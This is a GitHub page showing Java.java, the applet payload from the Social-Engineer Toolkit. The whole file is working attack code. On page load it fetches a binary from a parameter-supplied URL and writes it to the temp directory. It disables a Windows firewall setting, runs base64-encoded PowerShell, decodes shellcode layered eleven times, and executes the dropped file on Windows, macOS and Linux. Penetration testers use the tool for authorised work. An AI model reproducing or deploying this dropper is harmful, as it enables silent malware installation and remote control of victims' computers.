-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathJava.java
More file actions
320 lines (299 loc) · 11.6 KB
/
Copy pathJava.java
File metadata and controls
320 lines (299 loc) · 11.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
import java.applet.*;
import java.awt.*;
import java.io.*;
import java.net.URL;
import java.util.*;
import sun.misc.BASE64Decoder;
import java.net.URL;
import java.net.URLConnection;
/**************************************************************
*
* Java Applet for the Social-Engineer Toolkit
* Original work from Thomas Werth and customized
* by Dave Kennedy (@HackingDave).
*
**************************************************************/
public class Java extends Applet {
private Object initialized = null;
public Object isInitialized()
{
return initialized;
}
public void init()
{
Process f;
try {
// generate a random string
Random r = new Random();
String token = Long.toString(Math.abs(r.nextLong()), 36);
String pfad = System.getProperty("java.io.tmpdir") + File.separator;
String writedir = System.getProperty("java.io.tmpdir") + File.separator;
// grab operating system
String os = System.getProperty("os.name").toLowerCase();
// grab jvm architecture
String arch = System.getProperty("os.arch");
String downParm = "";
String nextParm = "";
String thirdParm = "";
String fourthParm = "";
String fifthParm = "";
String sixthParm = "";
String seventhParm = "";
String eightParm = "";
short osType = -1 ; // 0=WIN, 1=MAC, 2=NIX
if (os.indexOf( "win" ) >= 0) // We are running Windows then
{
// 1 = WINDOWSPLZ
// 2 = ILIKESTUFF
// 3 = OSX
// 4 = LINUX
// 5 = X64
// 6 = X86
// 7 = HUGSNOTDRUGS
// 8 = LAUNCH
// 9 = nextPage
// 10 = B64EncodeTimes
downParm = getParameter( "1" );
nextParm = getParameter( "2" );
thirdParm = getParameter( "5" );
fourthParm = getParameter( "6" );
fifthParm = getParameter( "7" );
sixthParm = getParameter( "8" );
seventhParm = getParameter( "9" );
eightParm = getParameter( "10" );
osType = 0;
pfad += token + ".exe";
}
else if (os.indexOf("mac") >= 0) //MAC
{
downParm = getParameter( "3" );
osType = 1;
// look for special folders to define snow leopard, etc.
if (pfad.startsWith("/var/folders/")) pfad = "/tmp/"; // OSX SNOW LEOPARD AND ABOVE
pfad += token + ".bin";
}
else if (os.indexOf( "nix") >=0 || os.indexOf( "nux") >=0) // UNIX
{
downParm = getParameter( "4" );
osType = 2;
pfad += token + ".bin";
}
if ( downParm.length() > 0 && pfad.length() > 0 )
{
if ( osType < 1 )
{
// here we check for powershel
File file = new File("c:\\Windows\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe");
if (!file.exists()) {
// URL parameter
URL url = new URL(downParm);
// Open the conneciton
URLConnection hc = url.openConnection();
// set the user agent string
hc.setRequestProperty("User-Agent", "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2");
// grab content type
String contentType = hc.getContentType();
// grab content length
int contentLength = hc.getContentLength();
// pull input stream
InputStream raw = hc.getInputStream();
// stream buffer into raw input stream
InputStream in = new BufferedInputStream(raw);
// write the bytes out
byte[] data = new byte[contentLength];
int bytesRead = 0;
int offset = 0;
while (offset < contentLength) {
bytesRead = in.read(data, offset, data.length - offset);
if (bytesRead == -1)
break;
offset += bytesRead;
}
// close it
in.close();
// write file out to pfad
String filename = url.getFile();
FileOutputStream out = new FileOutputStream(pfad);
// close everything out
out.write(data);
out.flush();
out.close();
}
// }
}
// download file all other OS
if ( osType > 1 ){
// URL parameter
URL url = new URL(downParm);
// Open the conneciton
URLConnection hc = url.openConnection();
// set the user agent string
hc.setRequestProperty("User-Agent", "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2");
// grab content type
String contentType = hc.getContentType();
// grab content length
int contentLength = hc.getContentLength();
// pull input stream
InputStream raw = hc.getInputStream();
// stream buffer into raw input stream
InputStream in = new BufferedInputStream(raw);
// write the bytes out
byte[] data = new byte[contentLength];
int bytesRead = 0;
int offset = 0;
while (offset < contentLength) {
bytesRead = in.read(data, offset, data.length - offset);
if (bytesRead == -1)
break;
offset += bytesRead;
}
// close it
in.close();
// write file out to pfad
String filename = url.getFile();
FileOutputStream out = new FileOutputStream(pfad);
// close everything out
out.write(data);
out.flush();
out.close();
}
}
// has it executed yet? then target nextPage to victim
String page = getParameter( "9" );
if ( page != null && page.length() > 0 )
{
URL urlPage = new URL(page);
getAppletContext().showDocument(urlPage);
}
// Here is where we define OS type, i.e. windows, linux, osx, etc.
if ( osType < 1 ) // If we're running Windows
{
// attempt to disable statefulftp if running as an administrator
f = Runtime.getRuntime().exec("netsh advfirewall set global StatefulFTP disable");
// powershell x86 or 64 bit
if (thirdParm.length() > 3)
{
// this detection is for the new powershell vector, it will run a special command if the flag is turned on in SET
if (arch.contains("86") || arch.contains("64"))
{
// this will be 64 bit
if (fourthParm.length() > 3)
{
// iterate through Parm for our injection
String strMain = fourthParm;
String[] arrSplit = strMain.split(",");
for (int i=0; i<arrSplit.length; i++)
{
f = Runtime.getRuntime().exec("cmd /c powershell -enc " + arrSplit[i]);
}
}
}
else if (arch.contains("i"))
{
// this will be 32 bit
if (thirdParm.length() > 3)
{
// iterate through Parm for our injection
String strMain = thirdParm;
String[] arrSplit = strMain.split(",");
for (int i=0; i<arrSplit.length; i++)
{
f = Runtime.getRuntime().exec("cmd /c powershell -enc " + arrSplit[i]);
}
}
}
}
// if we aren't using the shellcodeexec attack
if (nextParm.length() < 3)
{
// if we turned on binary dropping
if (sixthParm.length() > 2)
{
// if we are using the SET interactive shell
if (fifthParm.length() > 2)
{
// logfile stuff here 42logfile42.tmp
// write out a temp file if we aren't going to pass parameters
f = Runtime.getRuntime().exec("cmd.exe /c \"" + "echo " + fifthParm + " > " + writedir + "42logfile.tmp" + "\"");
f = Runtime.getRuntime().exec("cmd.exe /c \"" + pfad + " " + fifthParm + "\"");
}
// if we aren't using SET interactive shell
if (fifthParm.length() < 2)
{
f = Runtime.getRuntime().exec("cmd.exe /c " + pfad);
//f.waitFor();
}
}
}
// if we are using shellcode exec
if (nextParm.length() > 3)
{
if (sixthParm.length() > 2)
{
// all parameters are base64 encoded, this will decode for us and pass the decoded strings
BASE64Decoder decoder = new BASE64Decoder();
byte[] decoded = decoder.decodeBuffer(nextParm);
// decode again
String decoded_string = new String(decoded);
String decoded_string_2 = new String(decoder.decodeBuffer(decoded_string));
// again
String decoded_string_3 = new String(decoder.decodeBuffer(decoded_string_2));
// again
String decoded_string_4 = new String(decoder.decodeBuffer(decoded_string_3));
// again
String decoded_string_5 = new String(decoder.decodeBuffer(decoded_string_4));
// again
String decoded_string_6 = new String(decoder.decodeBuffer(decoded_string_5));
// again
String decoded_string_7 = new String(decoder.decodeBuffer(decoded_string_6));
// again
String decoded_string_8 = new String(decoder.decodeBuffer(decoded_string_7));
// again
String decoded_string_9 = new String(decoder.decodeBuffer(decoded_string_8));
// again
String decoded_string_10 = new String(decoder.decodeBuffer(decoded_string_9));
// last one
String decoded_string_11 = new String(decoder.decodeBuffer(decoded_string_10));
PrintStream out = null;
String randomfile = Long.toString(Math.abs(r.nextLong()), 36);
try
{
out = new PrintStream(new FileOutputStream(writedir + randomfile));
out.print(decoded_string_11);
}
finally
{
if (out != null) out.close();
}
// this is if we are using multipyinjector
f = Runtime.getRuntime().exec("cmd.exe /c \"" + pfad + " " + writedir + randomfile + " " + eightParm);
// this runs the single instance of shellcodeexec, pyinjector, or a binary
f = Runtime.getRuntime().exec("cmd.exe /c \"" + pfad + " " + decoded_string_11 + "\"");
}
}
}
else // if not windows then use linux/osx/etc.
{
// change permisisons to execute
Process process1 = Runtime.getRuntime().exec("/bin/chmod 755 " + pfad);
process1.waitFor();
//and execute
f = Runtime.getRuntime().exec(pfad);
// wait for termination
f.waitFor();
// delete old file
(
new File(pfad)).delete();
}
initialized = this;
}
catch(IOException e) {
e.printStackTrace();
}
/* ended here and commented out below for bypass */
catch (Exception exception)
{
exception.printStackTrace();
}
}
}